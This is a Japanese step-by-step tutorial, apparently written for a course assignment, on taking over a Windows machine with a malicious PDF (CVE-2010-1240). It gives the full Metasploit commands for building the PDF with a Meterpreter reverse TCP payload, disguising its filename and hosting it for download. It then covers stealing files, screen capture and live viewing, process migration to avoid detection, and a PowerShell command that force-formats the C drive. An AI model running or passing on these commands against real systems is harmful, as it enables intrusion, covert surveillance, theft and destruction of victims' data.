このデモ動画は、一見無害に見えるPDFファイルを標的に送信することで、被害者のデバイスを制御する方法を示しています。このPDFファイルには実際には埋め込みペイロードが含まれています。このエクスプロイトはCVE-2010-1240として公開されました。
提供
このデモンストレーションビデオでは、無害に見えるPDFファイルを標的に送信することで、被害者のデバイスを制御する方法を紹介しています。このPDFファイルには実際には埋め込みペイロードが含まれています。このエクスプロイトはCVE-2010-1240として公開されました。
Adobe ReaderでPDFが開かれるとすぐに、私たちにだまされてセキュリティポップアップに同意したユーザーは、リバースTCP接続を介して自分のデバイスに接続されたメータープリターセッションを私たちに取得させてしまいます。その間、彼らのすべてのデータと現在の行動は私たちの監視下にあります。
まず、Metasploitフレームワークにアクセスするためのコマンドラインインターフェースを提供するMSFconsoleを起動します。
msfconsole
次に、ターゲットのWindowsプラットフォームとAdobe PDF Readerに一致するエクスプロイトを検索します。すると、被害者のWindowsマシンを乗っ取り、Adobe PDF Readerの脆弱性を悪用するために使用できるエクスプロイトの一覧が表示されます。
search type:exploit platform:windows adobe pdf
この悪用では、以下のコマンドを使用してモジュール「adobe_pdf_embedded_exe」を選択して使用し、被害者を乗っ取るという目標を達成します。
use exploit/windows/fileformat/adobe_pdf_embedded_exe
また、以下のように「info」コマンドを使用してエクスプロイトの情報を確認することもできます。
info
次に、リバースTCP接続を使用するようにペイロードを設定します。また、対話型シェルを提供するMeterpreterを使用します。これにより、コードを挿入して実行することで、被害者のマシンを調査するためのあらゆる種類の機能を簡単に使用できます。
set payload windows/meterpreter/reverse_tcp
次に、リッスンホストとポートを設定します。LHOSTには、攻撃マシンのIPアドレス、この場合はKaliマシンのIPアドレス(10.0.2.4)*を入力する必要があります。
*追記*
一方、LPORTには、あまり一般的ではないポート番号を自由に設定できます。
# to check Kali machine’s IP address
ifconfig
set LHOST *10.0.2.4*
set LPORT 5665
次に、INFILENAME*フラグを使用してPDFのベースとなる入力ファイルを設定します。次に、被害者が悪意のあるPDFファイルを開きたくなるようなファイル名を設定します。
*追記*
set INFILENAME '/home/kali/Documents/WIC3004Assignment.pdf'
set FILENAME 'Bawang_Ranger_WIC3004Report.pdf'
「exploit」コマンドを入力してPDFと一緒にペイロードを生成する前に、オプションを再度確認できます。
# Then we can show the info or options by
show info | show options
exploit
PDFファイルを生成したら、そのファイルを/var/www/htmlに移動します。これはKaliマシンのディレクトリであり、後で被害者がPDFファイルをダウンロードするためのWebアプリケーションサーバーをホストします。
注:
sudo mv /home/kali/.msf4/local/Bawang_Ranger_WIC3004Report.pdf /var/www/html
次に、リスナーをセットアップするために「exploit/multi/handler」を使用します。繰り返しますが、悪意のあるPDFファイルの生成時に定義したものと一致するように、ペイロード、LHOST、LPORTを設定します。その後、ペイロードを実行します。
注:
show info または show options は実行する任意のコマンドです。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.2.4
set LPORT 5665
[show info | show options]
run
別のターミナルで、Apacheサーバーのステータスを確認し、/var/www/html内のPDFファイルを被害者がダウンロードできるようにホストするために実行中であることを確認します。
service apache2 status
# If it is inactive, start the service
service apache2 start
Windowsマシンで、Chromeブラウザなどの任意のブラウザを開き、KaliのIP (10.0.2.4)*を入力してKaliマシンのWebアプリケーションサーバーにアクセスします。
*注: 独自のKaliマシンのIPアドレスに注意してください
次に、ユーザーを装って目的のPDFファイルを保存します。
ファイルがAdobe Reader 8.1.2で被害者によって開かれ、セキュリティメッセージのプロンプトに同意すると、Kaliマシン上でリバースTCP接続を介して接続された新しいセッションが発生したことを確認できます。
実際のシナリオでは、 埋め込みペイロードPDFを含むWebサイトをセットアップし、被害者にダウンロードさせたり、メールでファイルを添付させたりします。
その後、被害者のマシンにリモートアクセスし、メータープリターセッション内で私たちが望むさらなる悪意のある動作を実行できます。
help
pwd
ls
たとえば、password.txtという名前のファイルがある場合、download password.txtコマンドを実行できます。
download [folder name | filename with extension]
もちろん、本当に邪悪なら、Windowsマシンへの接続を維持するために悪意のあるスクリプト（バックドアの埋め込み）を作成することもできます！ 💀
# Boot command prompt at background
execute -f cmd.exe -H -i
# Create file on Windows
echo "You have been hacked" > hack.txt
#open the txt file we have just created
hack.txt
# Take screenshot
screenshot
# Watch the remote user in real time
screenshare
ただし、攻撃者は、メータープリターセッションでmigrateモジュールを使用してメータープリタープロセスを別のプロセスに移行することで、疑いを減らすことができます。
meterpreter> run post/windows/manage/migrate
これにより、被害者のマシンで自動的に新しいプロセスが生成され、そこに自身を移行します。被害者はその後、感染したPDFファイルを削除できるかもしれませんが、プロセスがすでに別の場所に移動していることにはまったく気づきません。
攻撃者はさらに、コマンドプロンプト（cmd）またはPowerShellを使用してターゲットマシン上に悪意のあるスクリプトを作成し、オペレーティングシステム全体を正常に動作しないようにダウンさせることができます。
meterpreter> shell
# Start the Windows PowerShell
powershell
#Powershell command to forcefully format the C drive clean.
New-Partition -DiskNumber 1 -UseMaximumSize -AssignDriveLetter C| Format-Volume -DriveLetter C -FileSystemLabel "New"-FileSystem NTFS -Full -Force -Confirm:$false
